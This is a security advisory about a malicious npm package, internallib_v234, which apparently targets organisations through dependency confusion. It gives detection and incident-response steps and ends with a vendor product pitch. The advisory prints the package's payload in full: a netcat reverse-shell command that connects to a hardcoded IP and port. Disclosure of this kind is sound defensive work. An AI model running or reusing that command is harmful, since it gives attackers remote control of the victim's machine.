internallib_v234npm
Advisory published Updated
internallib_v234 is a confirmed malicious npm package (MAL-2026-6796) that opens a backdoor for remote access (malicious versions 1.0.3, 1.0.4, 1.0.5…). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in internallib_v234 (npm)
What this malware does
[email protected] exports a command() function whose body unconditionally invokes /bin/bash -c "nc -vn 10.0.74.133 13337 -e /bin/bash", opening an interactive reverse shell from the installer to a hardcoded RFC1918 endpoint (10.0.74.133:13337). Prior to launching the shell, index.js runs whereis nc to confirm netcat is available on the host. The package also exhibits a dependency-confusion shape: the name mimics an internal-library naming convention, it declares itself as its own dependency (internallib_v234: ^1.0.0), and CI configuration references a private Verdaccio registry (npm update --registry http://0.0.0.0:4873/). The combination indicates a targeted attack against an organization that hosts a private internallib_v234 internally; installing/loading this public version and invoking the exported function yields interactive shell access on the installer's machine to the attacker.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Backdoor / remote accessFind it
Search your lockfiles and build artifacts for internallib_v234 (5 malicious versions).
If you installed it — respond
internallib_v234 establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If internallib_v234 was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks internallib_v234-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.